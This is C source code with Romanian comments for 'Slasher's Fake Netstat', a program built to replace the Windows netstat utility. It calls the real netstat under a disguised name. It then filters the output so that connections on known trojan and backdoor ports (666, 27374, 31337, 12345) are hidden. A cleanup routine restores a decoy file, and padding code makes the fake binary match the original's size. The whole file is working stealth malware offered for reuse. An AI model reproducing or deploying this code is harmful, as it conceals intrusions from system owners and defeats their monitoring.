Code:
/* Slasher's Fake Netstat
Uitate in Citestema.txt daca nu stii ce face programu' acesta sau cum se foloseste
Nu o sa explic aici.
Daca ai de gand sa folosesti acest cod pentru ORICE, sper macar sa mentionezi
numele meu pe undeva in programul tau, si incearca fara insulte, ok ?
anyway... am scris tot acest cod sursa fara ajutorul sau codul nimanui
etc etc etc
Asta e tot
Slasher
P.S. Nu ma mai gasesti pe http://HackTeam.3XForum.Ro
*/
#include <stdio.h>
#include <string.h>
#include <process.h>
void doStuff(void); /* ascunde liniile netstat cu porturile ""ilegale" */
void cleanUp(void); /* rescrie "Explorer.scf" */
void inflation(void); /* nu face nimic ;-) */
int main(int argc, char *argv[])
{
/* nu intreba */
if (strcmp(argv[1], "/?")==0)
{
system("Systray /?");
}
else if (strcmp(argv[1], "-e")==0)
{
system("Systray -e");
}
else if (strcmp(argv[1], "-s")==0)
{
system("Systray -s");
}
else if (strcmp(argv[1], "-a")==0)
{
system("Systray -a > Explorer.scf");
/* ejaculeaza informatiile reale (toate porturile) in explorer.scf */
doStuff();
}
if (argc!=2)
/* no arguments, sau mai mult de unu */
{
system("Systray > explorer.scf");
/* dump the real info to explorer.scf */
doStuff();
}
cleanUp();
return(0);
}
void doStuff()
/* afiseaza rezultatele netstat-ului si ascunde liniile cu porturile adevarate */
{
FILE *fptr;
int i=0;
char line1[20], line2[20], line3[20], line4[20];
/* cele patru coloane diferite */
char port1[]="666", port2[]="27374", port3[]="31337", port4[]="12345";
/* porturi de ascuns - add ":" inainte de port daca e intre 1-255 !!! */
fptr = fopen("Explorer.scf", "r");
/* deschide fisierul pentru citire */
printf("\n\rActive Connections\n");
printf("\n\r Proto Local Address Foreign Address State\n");
/* afiseaza antetii */
while (fscanf(fptr, "%s %s %s %s", line1, line2, line3, line4) != EOF)
{
i++;
if (i>2)
/* omite primele doua linii (headerele) */
{
if (!strstr(line2, port1))
{
if (!strstr(line2, port2))
{
if (!strstr(line2, port3))
{
if (!strstr(line2, port4))
/* afiseaza liniile fara ca porturile sa fie ascunse */
{
printf(" %s %s %s %s \n\r", line1, line2, line3, line4);
/* printeaza fiecare coloana ( cu spatiu adecvat) */
}
}
}
}
}
}
fclose(fptr);
/* inchide fisierul */
}
void cleanUp()
/* Readuce "Explorer.scf" la forma originala */
{
FILE *fptr;
fptr = fopen("Explorer.scf", "w");
/* Deschide fisierul pentru scriere */
fprintf(fptr, "\n");
fprintf(fptr, "[Shell]\n");
fprintf(fptr, "Command=2\n");
fprintf(fptr, "IconFile=Explorer.exe, 1\n");
fprintf(fptr, "\n");
fprintf(fptr, "[Taskbar]\n");
fprintf(fptr, "Command=Explorer\n ");
/* Asa arata fisierul meu. */
fclose(fptr);
/* Inchide fisierul */
}
void inflation(void)
/* No more comments, marimea acestui fisier are o decalare de 3 bytes fata de cel original */
{
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
/* DE CE *** SCR0LLEZI PE AICI ??? */
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
/* sa moara fetele mele jupite pe tzatze daca mai gasesti ceva pe aici !!! */
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
/* ok, fa cum vrea muschiu' tau, da sa nu zici ca nu ti-am zis :) */
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
/* renunta! chiar nu e NIMIC aici!!! */
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000000000000000000000000000000000000000000000000000000");
printf("00000");
printf("Three bytes is close enough!");
/* daca eram un pic mai prost, eram fericit. */
} |